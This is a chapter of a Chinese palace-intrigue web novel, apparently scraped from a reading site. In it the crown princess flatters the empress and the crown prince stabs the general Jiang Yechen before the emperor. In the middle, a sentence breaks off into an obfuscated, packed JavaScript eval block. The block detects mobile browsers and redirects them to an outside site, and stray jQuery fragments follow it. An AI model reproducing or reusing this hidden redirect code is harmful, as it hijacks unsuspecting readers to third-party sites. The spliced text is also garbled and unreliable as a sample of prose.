第170章:卷走将军的银钱,金屋藏小倌儿

作品:《杀死将军妾

    皇后娘娘脸上的表情精彩纷呈,她意欲打造一个听话顺从、任她拿捏的儿媳,利用暮歌做很多事情,达成很多目的。


    她怎么忽然就有一种搬起石头砸自己脚的感觉。


    是错觉吗?


    “暮歌?”


    皇后娘娘心里不得劲。


    暮歌无情地推开徐慧珠,快步走到皇后娘娘面前,又噗通跪下,又抱住皇后娘娘的腿,一边哭得梨花带雨,一边忙着表忠心。


    “母后安心,在我的心里,您才是最最最重要的人。”


    暮歌回头看向徐慧珠,眼神坚定而决绝。


    “徐夫人,千错万错是我的错,你怪我怨我吧。”


    “我在家不得父母重视,入宫后在伊香殿为奴为婢五年……直到太子殿下因醉酒伤我,看似意外,实则有人布局。”


    “唯有母后不嫌不弃,给我一条活路。”


    “我向菩萨发誓,此生听母后的话,顺母后的意,如母后的愿。”


    暮歌说得尽是事实。


    八分真,两分演。


    她扮演的是一个极度缺爱、缺安全感的可怜女子。


    她在等一个能拯救她的贵人,等来了皇后娘娘。


    皇后娘娘眼眶发热。


    人,就怕比较。


    皇后娘娘从未在陈沅沅面前享受过做婆母的快活和满足,暮歌却日日填满她的虚荣心。


    “徐夫人,是我辜负你的情谊,是我对不住你。”


    “我不能奢求你原谅,但求你理解。”


    “母后于我,重于生命。”


    人心,总有柔软的时刻。


    皇后娘娘八分得意自己轻松拿捏住暮歌的手段,两分被暮歌感动到了。


    特别是,对比凝玉公主和太子的种种不省心,柔顺体贴的暮歌更得皇后娘娘的心。


    皇后娘娘心里唯一不得劲的是:暮歌有些蠢笨啊。


    徐慧珠一副受伤的模样,她捂住胸口,“太子妃……”


    “我今日邀约太子妃赴醉仙戏楼赏戏,也是想亲手奉上请柬。”


    徐慧珠说着,取出印着将军府标志的请柬,递给太子妃。


    “三日之后,我在将军府举办茶话会,只邀请亲近之人,元乐长公主、襄王妃,还有太子妃您。”


    “本想聚在一处,说说私房话……唉!”


    果然,徐慧珠说完,皇后娘娘的眼睛迸发亮光。


    她早该想到的,太子只要得到姜夜沉的支持,那长公主府、襄王府,还有南疆王……皆忠心于太子,以太子唯命是从。


    一箭多雕。


    太子尽得好处,她永压厉贵妃一头。


    徐慧珠又是一声叹息,“太子妃既有难处,这茶话会便搁浅吧。”


    “唉!”


    君后殿外,姜夜沉和太子不期而遇。


    太子实在手痒心痒,便顾不得旁的,心想有皇后娘娘为他遮掩、善后,他今日就在君后殿先痛快地打一顿暮歌。


    他的太子妃,想打就打。


    打就打了。


    太子急匆匆而来,不成想被姜夜沉这条狗挡住道。


    “见过太子殿下。”


    “太子殿下安好。”


    姜夜沉恭敬行礼。


    太子差点脱口而出:孤**见到姜夜沉,**安好不得。


    姜夜沉,生来克他。


    “呵!”


    “大皇兄又又又让孤失望了,姜夜沉,你是不是也为大皇兄的懦弱怕事感到无比失望?那就多失望几回,习惯成自然。”


    “哈哈哈……”


    又说,“姜夜沉,你可知大皇兄为何不敢入宫向父皇告状?”


    “尊卑有别、性格懦弱,还有大皇兄自知理亏嘛。”


    “可惜,连累你当不成人证。”


    太子一副破罐子破摔的姿态,即便皇后娘娘将道理掰开揉碎说给太子听。


    太子听得懂道理,但这个人是姜夜沉就万万不行。


    他受够姜夜沉。


    忍无可忍。


    无需再忍。


    太子也说不清自己何等心思,每回遇上姜夜沉,他的理智转瞬崩塌。


    只余下情绪。


    只余下无尽无穷的黑暗情绪,吞噬了他。


    “姜夜沉,想向父皇告黑状的,其实是你吧。”


    太子一副看透姜夜沉的模样。


    “姜夜沉,你比孤厉害又如何?”


    “父皇百般欣赏你,千般信任你又如何?”


    “孤才是父皇的亲生儿子,而你终归是外人。”


    “安国江山,只能是孤的。”


    姜夜沉面上云淡风轻,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978777|188170||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    顺着太子的话说,“是,太子殿下您说得极是。”


    “姜夜沉,你……”太子冷笑道,“一条看门的贱狗!”


    “太子殿下骂的是。”姜夜沉仍面不改色。


    “不过,臣不能苟同,皇上信任臣,让臣掌管北疆兵权和锦衣卫。太子殿下骂臣是狗,是骂皇上信任一条狗?”


    “太子殿下如何辱骂贬低臣不要紧,但太子殿下指桑骂槐,对皇上大不敬,便是不孝不忠不义。”


    姜夜沉的嘴,何时变得又利又毒?


    太子剑指姜夜沉,“姜夜沉,孤即刻杀了你,孤不信,父皇会废了孤的储君之位,会要孤为你偿命。”


    姜夜沉成功激怒太子,这一刻,太子生出的疯狂念头,就是一剑刺死姜夜沉。


    太子想:君后殿乃母后的地盘,待父皇收到消息,自会安排到位替死鬼,就算父皇知晓真相,又如何?


    他是父皇的血脉啊。


    “太子殿下想杀臣?”


    “君要臣死臣不得不死,也看君是谁?臣是谁?太子殿下,您动手试试?”


    姜夜沉站着未动。


    “不过,有一点,太子殿下该明白,您还没坐上黄金座,对臣来说,是君,那也是排在皇上身后的君。”


    “黄泉路上,若有太子殿下相陪,臣也不会太寂寞。”


    “只是,臣不甘心。臣新娶娇妇,正是浓情蜜意时,却被太子殿下害得守寡,真真是可怜啊。”


    太子瞪大眼睛,尽是不敢置信。


    姜夜沉在胡扯什么?他都要**,还担心妾室守寡?


    他咋不担忧,妾室在他死后,卷走他的银钱,金屋藏小倌儿?


    姜夜沉就该跪在地上,一边自扇耳光,一边求他饶命?


    “姜夜沉,你……你闭嘴。”


    “太子殿下,臣帮你一把,如何?”姜夜沉往前一步,剑直入姜夜沉的胸口。


    “不必言谢。”


    “太子!”皇上亲眼看见太子行凶,只觉得太子手里的剑也刺入他的心口。


    “曹文,快快快,快救夜沉。”


    皇上话音未落,太子只觉得疼痛袭来,紧接着手便丧失知觉。


    “夜沉,你……你还好吗?你为何不躲?为何不还手?”